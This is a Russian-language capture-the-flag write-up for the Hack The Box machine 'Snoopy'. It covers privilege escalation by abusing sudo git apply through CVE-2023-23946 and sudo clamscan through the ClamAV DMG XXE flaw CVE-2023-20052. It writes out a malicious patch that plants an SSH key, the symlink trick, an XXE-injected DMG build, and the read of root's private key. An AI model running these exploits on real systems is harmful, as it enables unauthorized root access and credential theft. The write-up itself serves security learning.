[HaHacking] HTB: Snoopy (Hard) — Pt. 2
HaHacking
📊 О МАШИНЕ
- Операционная система: Linux (🐧)
- Сложность: Сложная (🔴)
- Теги:
[Path Traversal] [DNS] [sudo] [Git] [CVE] [Arbitrary File Write] [ClamAV] [Arbitrary File Read] [XXE]

🔐 ПОВЫШЕНИЕ ПРИВЕЛЕГИЙ: sbrown
Сбор информации
📌 Повышение привилегий через sudo: book.hacktricks.xyz/.../privilege-escalation#sudo-and-suid
Поскольку известен пароль пользователя cbrown, возможен просмотр списка команд, разрешённых для исполнения пользователем cbrown с использованием sudo:
sudo -l
Такой командой является git, но возможна лишь имперсонация пользователя sbrown и только в том случае, если аргументы команды соответствуют шаблону ^apply -v [a-zA-Z0-9.]+$
📌 Про git apply: git-scm.com/docs/git-apply
Команда git apply используется для применения к файлам изменений, указанных в патче – файле, содержащем вывод команды git diff, сравнивающей указываемые ей файлы.
Arbitrary File Write
📌 Повышение привилегий через git: gtfobins.github.io/.../git/#file-write
📌 Повышение привилегий через git apply: exploit-notes.hdks.org/.../sudo-git-privilege-escalation/#git-apply
📌 Повышение привилегий через git apply: github.com/0xsyr0/Awesome-Cybersecurity-Handbooks/...#git-apply-malicious-patch-privilege-escalation
В контексте повышения привилегий команда git apply может быть использована для записи файлов, соответственно, при наличии у неё привилегий – для записи или перезаписи файлов вне предусмотренной зоны доступа текущего пользователя.
📌 Про .ssh/authorized_keys: book.hacktricks.xyz/.../privilege-escalation#authorizedkeysfile
В данном случае она может быть использована для перезаписи файлов, доступных пользователю sbrown. Например, существует возможность перезаписи файла /home/sbrown/.ssh/authorized_keys: записи публичного ключа из пары подконтрольных атакующему SSH ключей в список доверенных ключей для аутентификации по SSH в качестве пользователя sbrown.
1) По умолчанию git apply (без опции --unsafe-paths) обрабатывает лишь те патчи, что повлияют на файлы, расположенные в текущей директории и ниже.
→ Поскольку /home/sbrown/.ssh/authorized_keys находится внутри недоступной для чтения пользователем cbrown директории /home/sbrown, команда git apply должна быть вызвана из одной из следующих директорий: / или /home.
2) Пользователь cbrown не имеет права записи в директории / и /home.
→ Поскольку git apply должна быть вызвана из одной из этих директорий, можно передать ей патч, расположенный в другой, доступной для записи пользователем cbrown, директории, например:
cbrown@snoopy.htb:/home$ sudo git apply /tmp/patch
→ Если передать команде git apply опцию --unsafe-paths, то патч применится вне зависимости от текущей директории, например:
cbrown@snoopy.htb:/tmp$ sudo git apply --unsafe-paths patch
3) Указанный шаблон усложняет эксплуатацию: в список разрешённых символов не включены ни косая черта "/", ни дефис "-", потому команде git apply не получится передать патч из другой директории, а также к команде невозможно будет добавить опции.
Перечисленные условия пресекают эксплуатацию команды git apply в качестве инструмента для повышения привилегий через перезапись /home/sbrown/.ssh/authorized_keys. Однако эти условия подразумевают корректную работу git и git apply.
На машине используется git версии 2.34.1, которая вышла в 2021 году. В 2023 году было зафиксировано несколько CVE, которые касаются git apply и в том числе затрагивают эту версию.
📌 Github про CVE-2023-23946: github.blog/.../#cve-2023-23946
📌 MITRE про CVE-2023-23946: cve.mitre.org/.../cvename.cgi?name=CVE-2023-23946
📌 NVD про CVE-2023-23946: nvd.nist.gov/.../CVE-2023-23946
В git apply реализована защита от выхода за пределы текущей директории (в отсутствие --unsafe-paths) через использование символических ссылок, но защиту стало возможным обойти через создание символической ссылки в результате изменений, содержащихся в самом применяемом патче.
Тогда для успешной перезаписи /home/sbrown/.ssh/authorized_keys через эксплуатацию git apply необходимо:
1) Перейти в домашнюю директорию и создать в ней файл, который станет патчем:
cd /home/cbrown; touch patch2) Внести в патч информацию о переименовании директории (которая будет создана на шаге 3 в качестве символической ссылки), создании в ней файла authorized_keys и внесения в него информации о публичном ключе пользователя cbrown или о своём собственном публичном ключе:
diff --git a/AAAAA b/BBBBB similarity index 100% rename from AAAAA rename to BBBBB --- diff --git /dev/null b/BBBBB/authorized_keys new file mode 100644 index 0000000..XXXXXXX --- /dev/null +++ b/BBBBB/authorized_keys @@ -0,0 +1 @@ +ssh-rsa ************** ***@****
3) Создать символическую ссылку на ../sbrown/.ssh, имя которой будет соответствовать имени изменяемого файла из патча:
ln -s ../sbrown/.ssh AAAAA4) С помощью sudo вызвать команду git apply от лица пользователя sbrown (флаг -u) с необходимой по шаблону опцией -v и названием файла-патча в качестве аргумента:
sudo -u sbrown git apply -v patch
В результате применения патча подконтрольный атакующему публичный ключ должен оказаться не в /home/cbrown/BBBBB/authorized_keys, а в /home/sbrown/.ssh/authorized_keys. В случае успеха станет возможной аутентификация по приватному ключу в качестве пользователя sbrown на машине snoopy.htb:

🔑 ПОСТ-ЭКСПЛУАТАЦИЯ: root
📌 Повышение привилегий через sudo: book.hacktricks.xyz/.../privilege-escalation#sudo-and-suid
Снова возможен просмотр списка команд, разрешённых для исполнения пользователем sbrown с использованием sudo:
sudo -l
Такой командой является clamscan, но только в том случае, если аргументы команды соответствуют шаблону ^--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$
📌 Повышение привилегий через clamscan: gtfobins.github.io/.../clamscan/
📌 Повышение привилегий через clamscan: exploit-notes.hdks.org/.../sudo-clamav-privilege-escalation/
Шаблон вновь усложняет эксплуатацию в связи с невозможностью передачи команде clamscan произвольных опций. В 2023 году было зафиксировано несколько CVE, которые касаются clamscan и могут быть проэксплуатированы с опцией --debug.
Arbitrary File Read via XML External Entity
📌 MITRE про CVE-2023-20052: cve.mitre.org/.../cvename.cgi?name=CVE-2023-20052
📌 NVD про CVE-2023-20052: nvd.nist.gov/.../CVE-2023-20052
📌 PingSafe про CVE-2023-20052: pingsafe.com/.../cve-2023-20052-cisco-clamav-xxe-vulnerability/
📌 Пример эксплуатации: github.com/nokn0wthing/CVE-2023-20052
В парсере DMG файлов антивируса ClamAV была обнаружена уязвимость: при сканировании DMG файла, в который была внедрена вредоносная XML конструкция, в качестве отладочной информации может быть выведено содержимое файлов, указанных атакующим в XML конструкции в качестве объектов.
Через эксплуатацию данной уязвимости в рамках целевой машины станет возможным извлечение пользователем sbrown содержимого файлов пользователя root, следовательно – получение приватного SSH ключа пользователя root для последующего подключения к целевой машине от его лица.
📌 Про формат DMG: newosxbook.com/DMG.html
DMG – расширение Apple Disk Image, формата образа диска, используемого в операционной системе MacOS.
DMG файлы состоят из:
1) The Data Fork – сжатых блоков диска
2) Property List – списка свойств в виде XML конструкции
3) Trailer – закрывающей секция файла
Отталкиваясь от особенностей формата, полезная нагрузка для эксплуатации XXE должна быть внедрена внутрь списка свойств.
📌 PortSwigger про XXE: portswigger.net/web-security/xxe
Тогда для извлечения содержимого файла /root/.ssh/id_rsa через эксплуатацию clamscan необходимо:
1) Локально создать DMG файл:
genisoimage -D -V "exploit" -no-pad -r -apple -file-mode 0777 -o test.img . && dmg dmg test.img test.dmg2) Заменить легитимный список свойств внутри созданного DGM файла на XML конструкцию с полезной нагрузкой – инъекцией внешней сущности, которая будет включать интересующий атакующего файл:
bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "FILEPATHFILEPATHFILEPATH"> ]>|' -e 's/blkx/&xxe\;/' test.dmg -o exploit.dmg

3) Перенести DMG файл на целевую машину, в папку /home/sbrown/scanfiles/.
4) С помощью sudo вызвать команду clamscan с необходимой по шаблону опцией --debug и пути к вредоносному DMG файлу в качестве аргумента:
sudo clamscan --debug /home/sbrown/scanfiles/exploit.dmg
В результате сканирования DMG файла в качестве отладочной информации будет выведено содержимое файла, указанного в полезной нагрузке. В данном случае – содержимое /root/.ssh/id_rsa, то есть приватный SSH ключ пользователя root, благодаря которому становится возможной аутентификация по приватному ключу в качестве пользователя root на машине snoopy.htb:
